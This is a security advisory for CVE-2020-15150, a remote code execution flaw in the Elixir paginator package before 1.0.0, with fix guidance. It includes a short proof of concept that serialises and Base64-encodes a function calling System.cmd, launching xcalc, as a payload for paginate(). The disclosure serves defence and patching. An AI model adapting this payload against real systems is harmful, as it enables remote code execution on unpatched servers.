Remote Code Execution (RCE) Affecting paginator package, versions <1.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
5.97% (94th
percentile)
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Test your applications- Snyk ID SNYK-HEX-PAGINATOR-1086684
- published 30 Mar 2021
- disclosed 18 Aug 2020
- credit Peter Stöckli
Introduced: 18 Aug 2020
CVE-2020-15150 Open this link in a new tabHow to fix?
Upgrade paginator to version 1.0.0 or higher.
Overview
paginator is a package that enables cursor-based pagination for Elixir Ecto.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via paginate() function when untrusted input is passed from a remote user.
PoC
defp rce_start_xcalc() do
exploit = fn _, _ -> System.cmd("xcalc", []); {:cont, []} end
payload =
exploit
|> :erlang.term_to_binary()
|> Base.url_encode64()
end
References
CVSS Scores
version 3.1